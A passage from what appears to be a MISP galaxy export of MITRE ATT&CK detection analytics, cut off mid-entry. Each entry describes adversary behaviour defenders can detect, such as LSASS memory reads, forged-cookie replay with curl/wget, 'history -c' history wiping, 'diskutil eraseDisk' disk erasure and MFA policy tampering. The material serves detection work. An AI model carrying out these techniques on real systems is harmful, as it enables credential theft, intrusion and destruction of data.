Chain: (1) execution of `pwpolicy` or MDM/DirectoryService reads of account policies; (2) optional read of `/Library/Preferences/com.apple.loginwindow` or config profiles; (3) follow-on credential probing or lateral movement by same user/session. Use unified logs and process telemetry.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0457 - AN0457"*

Table 6948. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0161#AN0457

Analytic 0475 - AN0475

Direct write access to /dev/mem or /sys/firmware combined with usage of firmware flashing utilities (e.g., flashrom).

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0475 - AN0475"*

Table 6949. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0167#AN0475

Analytic 0745 - AN0745

High CPU usage by unauthorized containers running mining binaries or public proxy tools.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0745 - AN0745"*

Table 6950. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0267#AN0745

Analytic 0754 - AN0754

vSphere API logins (vimService) or SSH to ESXi host followed by unauthorized shell commands or lateral remote logins from the ESXi host.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0754 - AN0754"*

Table 6951. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0269#AN0754

Analytic 0574 - AN0574

Detects enumeration of VMs using PowerShell (`Get-VM`), VMware Workstation (`vmrun.exe`), or Hyper-V (`VBoxManage.exe`). Defender observes suspicious command lines executed by unexpected users or outside normal administrative sessions.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0574 - AN0574"*

Table 6952. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0199#AN0574

Analytic 0458 - AN0458

Chain: (1) cloud API calls that fetch tenant/organization password policy (e.g., AWS `GetAccountPasswordPolicy`, GCP/OCI equivalents or IAM settings reads); (2) within a short window, the same principal creates users, rotates creds, or changes auth settings. Use cloud audit logs.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0458 - AN0458"*

Table 6953. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0161#AN0458

Analytic 0584 - AN0584

Excessive resource exhaustion or service crash induced by processes launched by users or scripts that rapidly consume CPU/memory or attempt malformed service interactions.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0584 - AN0584"*

Table 6954. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0208#AN0584

Analytic 0485 - AN0485

On Linux, defenders may observe forged cookie activity as unauthorized modifications to browser cookie databases (e.g., ~/.mozilla/firefox/*/cookies.sqlite, ~/.config/chromium/Default/Cookies) or scripted injection of session tokens. Suspicious usage includes curl/wget commands embedding forged cookies in headers, correlated with abnormal session activity in SaaS or IaaS logs.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0485 - AN0485"*

Table 6955. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0171#AN0485

Analytic 0548 - AN0548

Detects suspicious MFA method changes, such as registration of weaker factors (e.g., SMS), or removal of MFA requirements for specific accounts or groups.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0548 - AN0548"*

Table 6956. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0190#AN0548

Analytic 0854 - AN0854

Adversary modifies GPO containers or files under SYSVOL using LDAP, ADSI, PowerShell (e.g., New-GPOImmediateTask) or GUI tools. This includes directory object changes (e.g., gPCFileSysPath), delegation assignments (SeEnableDelegationPrivilege), and SYSVOL file writes (ScheduledTasks.xml, GptTmpl.inf).

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0854 - AN0854"*

Table 6957. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0305#AN0854

Analytic 0845 - AN0845

Router/switch receives a knock pattern (same src touches device unicast, broadcast, and network-

address on same or stepped ports) followed by ACL/line-vty/service enable and the first mgmt session success.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0845 - AN0845"*

Table 6958. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0302#AN0845

Analytic 0459 - AN0459

Chain: (1) IdP policy/read operations by a principal (e.g., Microsoft Entra/Graph requests to read password or authentication policies); (2) adjacent risky changes (role assignment, app consent) by same principal. Use IdP audit logs.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0459 - AN0459"*

Table 6959. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0161#AN0459

Analytic 0549 - AN0549

Detects MFA bypass attempts by modifying tenant-wide authentication policies or excluding high-value accounts from MFA enforcement.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0549 - AN0549"*

Table 6960. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0190#AN0549

Analytic 0594 - AN0594

Direct login to cloud-hosted virtual machines via cloud-native access methods (e.g., EC2 Instance Connect, Azure Serial Console, SSM), followed by command execution or privilege escalation on the VM

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0594 - AN0594"*

Table 6961. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0211#AN0594

Analytic 0945 - AN0945

Detects user or root invocation of `at` command to schedule a job, followed by job execution using LaunchServices and activity in /usr/lib/cron/at.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0945 - AN0945"*

Table 6962. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0333#AN0945

Analytic 0495 - AN0495

Detects exploitation attempts against macOS authentication frameworks such as OpenDirectory or Keychain. Defender perspective includes abnormal crashes in opendirectoryd, unauthorized Keychain API usage, and unusual sudo or login events. Correlation links unexpected process behavior with credential access anomalies.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0495 - AN0495"*

Table 6963. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0174#AN0495

Analytic 0954 - AN0954

Use of stolen Kerberos tickets or token impersonation resulting in logon sessions from accounts without expected interactive logon events.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0954 - AN0954"*

Table 6964. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0338#AN0954

Analytic 0466 - AN0466

Detects adversary behavior where the command-line arguments of a running process are overwritten in memory to spoof the process name, typically replacing it with a benign or misleading string. The detection correlates unexpected null byte sequences, discrepancies between `/proc/<pid>/cmdline` and process ancestry, and suspicious memory writes shortly after process start.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0466 - AN0466"*

Table 6965. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0164#AN0466

Analytic 0664 - AN0664

Adversary modifies internal or external site content through manipulated application bundles, hosted content, or web server configs.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0664 - AN0664"*

Table 6966. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0238#AN0664

Analytic 0646 - AN0646

Detects anomalous usage of ESXi Guest Operations APIs such as StartProgramInGuest, ListProcessesInGuest, ListFileInGuest, or InitiateFileTransferFromGuest. Defender perspective focuses on unusual frequency of guest API calls, invocation from unexpected management accounts, or execution outside of business hours. These correlated signals indicate adversarial abuse of ESXi administrative services to run commands on guest VMs.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0646 - AN0646"*

Table 6967. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0232#AN0646

Analytic 0467 - AN0467

Detects adversary behavior clearing command history via `history -c`, deletion or modification of ~/.bash_history, or manipulation of the HISTFILE environment variable post-login.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0467 - AN0467"*

Table 6968. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0165#AN0467

Analytic 0647 - AN0647

Defenders may observe adversary attempts to collect or export full device configurations by detecting unusual SNMP queries, Smart Install (SMI) activity, or CLI/API commands that request running or startup configuration dumps. Correlated behaviors include high-volume read requests

for sensitive OIDs, repeated use of 'show running-config' or equivalent commands from untrusted IPs, or unexpected TFTP/SCP/FTP transfers containing configuration files. These behaviors often appear in sequence: anomalous authentication or privilege escalation, followed by bulk configuration retrieval and outbound transfer.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0647 - AN0647"*

Table 6969. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0233#AN0647

Analytic 0746 - AN0746

Abuse of cloud messaging platforms to send mass spam or consume quota-based resources.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0746 - AN0746"*

Table 6970. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0267#AN0746

Analytic 0764 - AN0764

Correlation of registry key modification for Run/RunOnce with abnormal parent-child process relationships and outlier execution at user logon or system startup

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0764 - AN0764"*

Table 6971. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0274#AN0764

Analytic 0674 - AN0674

Monitor for abnormal certificate enrollment events in identity platforms, unexpected use of token-signing certificates, and unusual CA configuration modifications.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0674 - AN0674"*

Table 6972. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0240#AN0674

Analytic 0476 - AN0476

EFI updates executed via system processes or binaries outside of expected patch windows or using unsigned firmware packages.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0476 - AN0476"*

Table 6973. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0167#AN0476

Analytic 0486 - AN0486

Forged cookies on macOS may show up as abnormal access to Safari/Chrome cookie databases in ~/Library/Cookies, combined with unexpected logon sessions authenticated by those cookies. Unified Logs may show cookie injection events or abnormal access patterns to Keychain when linked to browser authentication flows.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0486 - AN0486"*

Table 6974. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0171#AN0486

Analytic 0648 - AN0648

Processes accessing LSASS memory or SAM registry hives outside of trusted security tools, often followed by file creation or lateral movement. Detects unauthorized access to sensitive OS subsystems for credential extraction.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0648 - AN0648"*

Table 6975. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0234#AN0648

Analytic 0846 - AN0846

Adversary enumeration of local user accounts using Net.exe, WMI, or PowerShell.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0846 - AN0846"*

Table 6976. Table References

Links

https://attack.mitre.org/detectionstrategies/DET0303#AN0846

Analytic 0864 - AN0864

A tampered app/pkg/notarized update is installed via installer, softwareupdated, Homebrew, or vendor updater; new Mach-O or bundle contents appear in /Applications, /Library, /usr/local or /opt/homebrew; first run spawns sh/zsh/osascript/curl and makes egress to unfamiliar domains; AMFI/Gatekeeper may log signature/notarization problems.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0864 - AN0864"*

Table 6977. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0309#AN0864

Analytic 0468 - AN0468

Detects adversary clearing shell history using `history -c` or deleting/altering ~/.zsh_history or ~/.bash_history. Focus on sessions with missing or wiped history.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0468 - AN0468"*

Table 6978. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0165#AN0468

Analytic 0684 - AN0684

Audit VoIP/SIP logs for suspicious outbound calls or call setup messages to unusual endpoints. Correlate with user activity such as browser execution or package installation following the call.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0684 - AN0684"*

Table 6979. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0245#AN0684

Analytic 0469 - AN0469

Detects PowerShell `Clear-History` invocation or deletion of `ConsoleHost_history.txt` to erase past PowerShell session history.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0469 - AN0469"*

Table 6980. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0165#AN0469

Analytic 0496 - AN0496

Detects exploitation of vulnerabilities in cloud identity providers (IdPs) such as Azure AD or Okta for credential access. Defender perspective includes anomalous token creation or renewal, authentication bypass events, and API abuse to mint unauthorized tokens. Correlation highlights exploitation attempts tied to absent or inconsistent audit logs.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0496 - AN0496"*

Table 6981. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0174#AN0496

Analytic 0694 - AN0694

Defenders observe command-line executions or API-based registry reads targeting sensitive paths like HKLM or HKCU with keyword filters such as 'password', 'cred', or 'logon'. Typically performed by Reg.exe, PowerShell, custom binaries, or offensive tools such as Cobalt Strike. Correlation with process ancestry and command-line arguments indicates suspicious credential discovery activity.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0694 - AN0694"*

Table 6982. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0250#AN0694

Analytic 0649 - AN0649

Processes opening /proc//**mem or /proc**//maps targeting credential-storing services like sshd or login. Behavior often includes high privilege escalation and memory inspection tools such as gcore or gdb.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0649 - AN0649"*

Table 6983. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0234#AN0649

Analytic 0964 - AN0964

User pastes an obfuscated command into Terminal.app/iTerm2 that decodes or downloads code and

executes. Detects Terminal/iTerm2 spawning bash/zsh/python with suspicious pipeline/base64 patterns followed by file writes in ~/Library or /tmp and outbound network connections.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0964 - AN0964"*

Table 6984. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0340#AN0964

Analytic 0946 - AN0946

Implantation of malicious code into container images followed by registry push and use in new deployments.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0946 - AN0946"*

Table 6985. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0334#AN0946

Analytic 0477 - AN0477

Firmware image uploaded via TFTP/SCP or web interface followed by reboot or unexpected loss of connectivity.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0477 - AN0477"*

Table 6986. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0167#AN0477

Analytic 0747 - AN0747

Detects adversarial archiving using libraries (zlib, zip APIs) invoked by scripts or binaries. Correlates process executions of Python, PowerShell, or custom .NET binaries with DLL/module loads linked to compression libraries, followed by archive file creation.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0747 - AN0747"*

Table 6987. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0268#AN0747

Analytic 0774 - AN0774

Unusual modification of boot records (MBR, VBR) or EFI partitions not associated with legitimate patch cycles or OS upgrades. Registry or WMI events associated with firmware update tools executed from unexpected parent processes. API calls (e.g., DeviceIoControl) writing directly to raw disk sectors. Subsequent abnormal boot configuration changes followed by unsigned driver loads.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0774 - AN0774"*

Table 6988. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0278#AN0774

Analytic 0478 - AN0478

Script or binary performs a rapid sequence of system discovery checks (e.g., CPU count, RAM size, registry keys, running processes) indicative of VM detection

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0478 - AN0478"*

Table 6989. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0168#AN0478

Analytic 0874 - AN0874

Detection of HTML-based downloads via Safari/Chrome that create obfuscated files (e.g., .zip, .app, .js) in user directories and are followed by suspicious executions from preview or launch services.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0874 - AN0874"*

Table 6990. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0313#AN0874

Analytic 0784 - AN0784

Identifies archive utilities (e.g., ditto, unzip, xar, pkgutil) used to extract payloads to non-standard paths, then correlates with execution or file permission changes (e.g., `chmod +x`) and process spawns from decompressed location.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0784 - AN0784"*

Table 6991. Table References

Links

https://attack.mitre.org/detectionstrategies/DET0281#AN0784

Analytic 0847 - AN0847

Enumeration of local users or groups via file access (/etc/passwd) or commands like id, groups.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0847 - AN0847"*

Table 6992. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0303#AN0847

Analytic 0748 - AN0748

Detects adversarial archiving by scripts or binaries calling compression libraries (libzip, zlib, bzip2). Correlates execution of Python, Perl, or compiled binaries with dynamic linking to archiving libraries and creation of compressed files in /tmp or user directories.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0748 - AN0748"*

Table 6993. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0268#AN0748

Analytic 0487 - AN0487

Forged cookies in SaaS environments manifest as valid web sessions without matching login activity, MFA enforcement bypass, or cookies reused across multiple devices/IPs. Defenders should look for cookie replay, concurrent sessions from multiple geographies, or session tokens generated by unrecognized apps.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0487 - AN0487"*

Table 6994. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0171#AN0487

Analytic 0794 - AN0794

Monitor Mail.app activity or unified logs for anomalous SMTP usage, including mismatches between display name and authenticated AppleID or Exchange credentials. Detect use of third-party mail utilities that attempt to send on behalf of corporate identities.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0794 - AN0794"*

Table 6995. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0286#AN0794

Analytic 0749 - AN0749

Detects malicious archiving via system or third-party libraries (libz, libarchive) invoked by Python, Swift, or Objective-C binaries. Correlates unified logs of library loads with creation of compressed or encrypted archives (.zip, .gz, .bz2, .dmg).

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0749 - AN0749"*

Table 6996. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0268#AN0749

Analytic 0947 - AN0947

Creation or modification of cloud virtual machine images (AMIs, custom images) with persistence mechanisms, followed by infrastructure provisioning that uses these implanted images.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0947 - AN0947"*

Table 6997. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0334#AN0947

Analytic 0479 - AN0479

Shell script or binary uses multiple system commands (e.g., dmidecode, lscpu, lspci) in quick succession to detect virtualization environment

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0479 - AN0479"*

Table 6998. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0168#AN0479

Analytic 0974 - AN0974

Detects usage of shared memory directories (/dev/shm, /run/shm) for temporary storage of obfuscated, encoded, or executable data without persistence to disk.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0974 - AN0974"*

Table 6999. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0344#AN0974

Analytic 0497 - AN0497

Detection of anomalous ROMMON image changes or upgrades, unexpected reboots following firmware updates, and unauthorized use of firmware upgrade commands or TFTP transfers. Correlation of config modification, privilege escalation, and boot cycle anomalies provides visibility into ROMMON tampering attempts.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0497 - AN0497"*

Table 7000. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0175#AN0497

Analytic 0884 - AN0884

Abnormal invocation of diskutil or asr with destructive flags (eraseDisk, zeroDisk), or low-level IOKit calls that overwrite raw disk content. Detect correlation between elevated process execution and disk erase operations.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0884 - AN0884"*

Table 7001. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0316#AN0884

Analytic 0848 - AN0848

Enumeration of macOS local users using dscl, id, dscacheutil, or /etc/passwd access.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0848 - AN0848"*

Table 7002. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0303#AN0848

Analytic 0488 - AN0488

A trusted/signed developer utility (parent) is executed in a non-developer context and (a) spawns suspicious children (e.g., powershell.exe, cmd.exe, rundll32.exe, regsvr32.exe, wscript.exe), (b) loads unsigned/user-writable DLLs, (c) writes and then runs a new PE from user-writable paths,

and/or (d) immediately makes outbound network connections.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0488 - AN0488"*

Table 7003. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0172#AN0488

Analytic 0498 - AN0498

Correlated evidence of anomalous browser/network behavior (suspicious external resource fetches and script injection patterns) followed by atypical child processes, ephemeral execution contexts, memory modification or process injection, and unexpected file drops. Defender sees network requests to previously unseen/suspicious domains or resources + browser process spawning unusual children or loading unsigned modules + file writes or registry changes shortly after those requests.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0498 - AN0498"*

Table 7004. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0176#AN0498

Analytic 0489 - AN0489

High-frequency, repetitive service requests (e.g., HTTP, TLS renegotiation) originating from a single or small set of source IPs targeting endpoint web services or application ports, leading to exhaustion of CPU or memory on targeted Windows services.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0489 - AN0489"*

Table 7005. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0173#AN0489

Analytic 0894 - AN0894

Disabling of security macros or safe mode settings within Word/Excel/Outlook. Detect registry edits or configuration file changes that weaken macro enforcement.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0894 - AN0894"*

Table 7006. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0317#AN0894

Analytic 0948 - AN0948

Detects anomalous use of macOS XPC services for code execution. Monitors for processes invoking privileged XPC daemons with abnormal parameters, unexpected binaries communicating over NSXPCConnection, or helper tools executing code outside of their expected parent process lineage. Correlates process access attempts to system-level daemons, privilege escalations via XPC misconfigurations, and injection of malicious payloads through inter-process communication.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0948 - AN0948"*

Table 7007. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0335#AN0948

Analytic 0984 - AN0984

Detects renamed binaries or scripts placed into trusted paths like /usr/bin or /lib with mismatched metadata or unexpected creation/modification times.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0984 - AN0984"*

Table 7008. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0347#AN0984

Analytic 0849 - AN0849

Enumeration of local ESXi accounts using esxcli or vSphere API from unauthorized sessions.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0849 - AN0849"*

Table 7009. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0303#AN0849

Analytic 0499 - AN0499

Correlated evidence of browser or webview fetches to uncommon domains or mutated JS resources (proxy/NGFW logs + Zeek/HTTP logs) followed by unexpected interpreters or script engines executing (python, ruby, sh) spawned from browser processes or user sessions, rapid on-disk staging in /tmp, and outbound connections that deviate from baseline. Defender sees: uncommon resource fetch → short-lived child process executions from user browser context → file writes in temp directories → anomalous outbound C2-like connections.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0499 - AN0499"*

Table 7010. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0176#AN0499

Analytic 0994 - AN0994

Monitor unified logs for processes spawned from Safari or other browsers that immediately load scripts or executables. Detect file drops in ~/Library/Caches or ~/Downloads that execute shortly after being written.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0994 - AN0994"*

Table 7011. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0349#AN0994

Analytic 0949 - AN0949

Monitors for unexpected modifications of system or application binaries, particularly signed executables. Correlates file write events with subsequent unsigned or anomalously signed process execution, and checks for tampered binaries outside normal patch cycles.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0949 - AN0949"*

Table 7012. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0336#AN0949

Analytic 0555 - AN0555

Identify unauthorized creation, deletion, or modification of business-critical stored data such as Office documents, database files, and log archives. Detect anomalous processes modifying stored data outside of expected workflows (e.g., non-database processes modifying database files).

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0555 - AN0555"*

Table 7013. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0193#AN0555

Analytic 0556 - AN0556

Detect suspicious file creation, modification, or deletion in stored data directories (e.g., `/var/lib/mysql/`, `/var/log/`, mail spools). Identify shell commands interacting directly with

structured data files instead of legitimate database utilities.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0556 - AN0556"*

Table 7014. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0193#AN0556

Analytic 0655 - AN0655

Detection of spearphishing attachments by correlating suspicious email delivery with subsequent file creation and abnormal process execution (e.g., Office spawning PowerShell or CMD). Behavior chain includes inbound email metadata → attachment stored on disk → process execution → outbound network activity.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0655 - AN0655"*

Table 7015. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0236#AN0655

Analytic 0565 - AN0565

Applications such as `curl`, `wget`, or custom binaries initiate HTTPS connections where the TLS SNI is mismatched or absent while HTTP Host targets CDN-available C2 endpoints.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0565 - AN0565"*

Table 7016. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0196#AN0565

Analytic 0557 - AN0557

Monitor sensitive data files such as plist-based storage, mail archives, or Office files for unexpected modifications. Detect anomalous processes modifying stored data outside expected update cycles using FSEvents and Unified Logs.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0557 - AN0557"*

Table 7017. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0193#AN0557

Analytic 0575 - AN0575

Detects VM enumeration attempts using virtualization utilities such as VirtualBox (`VBoxManage`) or Parallels CLI. Defender observes abnormal invocation of VM listing commands correlated with non-admin users or unusual parent processes.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0575 - AN0575"*

Table 7018. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0199#AN0575

Analytic 0755 - AN0755

Adversary modifies Group Policy Objects (GPOs), domain trust, or directory service objects via GUI, CLI, or programmatic APIs. Behavior includes creation/modification of GPOs, delegation permissions, trust objects, or rogue domain controller registration.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0755 - AN0755"*

Table 7019. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0270#AN0755

Analytic 0855 - AN0855

Defender observes configuration changes on firewall/network appliance involving rule creation, modification, or deletion from abnormal management IPs or non-console channels (e.g., remote CLI, API). These are often correlated with a spike in previously blocked outbound traffic, unexpected allow-all rules, or bulk rule deletions. Behavior often follows unauthorized login, privilege escalation, or API abuse.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0855 - AN0855"*

Table 7020. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0306#AN0855

Analytic 0558 - AN0558

Execution of control.exe or rundll32.exe with parameters pointing to CPL files, especially from non-standard directories or newly created files, followed by suspicious child process execution or registry modifications registering new Control Panel items.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0558 - AN0558"*

Table 7021. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0194#AN0558

Analytic 0585 - AN0585

Malicious script or binary causes repeated kernel panics, OOM kills, or systemd service restarts targeting services like nginx, httpd, sshd.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0585 - AN0585"*

Table 7022. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0208#AN0585

Analytic 0595 - AN0595

Adversary modifies or replaces the Terminal Services DLL (`termsrv.dll`) or changes the associated `ServiceDll` Registry value to load an arbitrary or patched DLL that enables persistent and enhanced RDP access. This may include binary replacement, registry tampering, and unexpected module loads by the `svchost.exe -k termsvcs` process.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0595 - AN0595"*

Table 7023. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0212#AN0595

Analytic 0559 - AN0559

Execution of built-in tools (e.g., ipconfig, route, netsh) or PowerShell/WMI queries to enumerate IP, MAC, interface status, or routing configuration.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0559 - AN0559"*

Table 7024. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0195#AN0559

Analytic 0955 - AN0955

Access tokens or SSH keys used without corresponding login shell or PAM module activity, particularly for remote execution.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0955 - AN0955"*

Table 7025. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0338#AN0955

Analytic 0656 - AN0656

Phishing attachments executed on Linux systems are detected by linking email logs to file creation in mail directories and subsequent suspicious process execution. Look for unexpected binaries or scripts spawned from user mail directories and anomalous outbound network activity.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0656 - AN0656"*

Table 7026. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0236#AN0656

Analytic 0665 - AN0665

Adversary defaces internal VM-hosted portals or web UIs by modifying static content on datastore-mounted paths.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0665 - AN0665"*

Table 7027. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0238#AN0665

Analytic 0566 - AN0566

Unsigned or user-space apps initiate TLS connections with one hostname and HTTP headers requesting a different domain, commonly abused in CDN-resident domain fronting techniques.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0566 - AN0566"*

Table 7028. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0196#AN0566

Analytic 0765 - AN0765

Correlates creation/modification of systemd service files or /etc/init.d scripts with outlier process behavior during boot

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0765 - AN0765"*

Table 7029. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0274#AN0765

Analytic 0567 - AN0567

Traffic originating from ESXi hosts or management interfaces displays SNI-to-Host mismatch behavior, particularly anomalous given typical infrastructure communication patterns.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0567 - AN0567"*

Table 7030. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0196#AN0567

Analytic 0756 - AN0756

Adversary modifies tenant policy through changes to federation configuration, trust settings, or identity provider additions in Microsoft 365/AzureAD via Portal, PowerShell, or Graph API. Includes setting authentication to federated or updating federated domains.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0756 - AN0756"*

Table 7031. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0270#AN0756

Analytic 0657 - AN0657

Phishing attachment detection on macOS through correlation of Mail app logs, file creation in user directories, and abnormal process execution (e.g., Preview.app or Mail.app spawning Terminal or scripting binaries). Network traffic after attachment interaction is also monitored.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0657 - AN0657"*

Table 7032. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0236#AN0657

Analytic 0675 - AN0675

Detects forged Kerberos Silver Tickets by identifying anomalous Kerberos service ticket activity

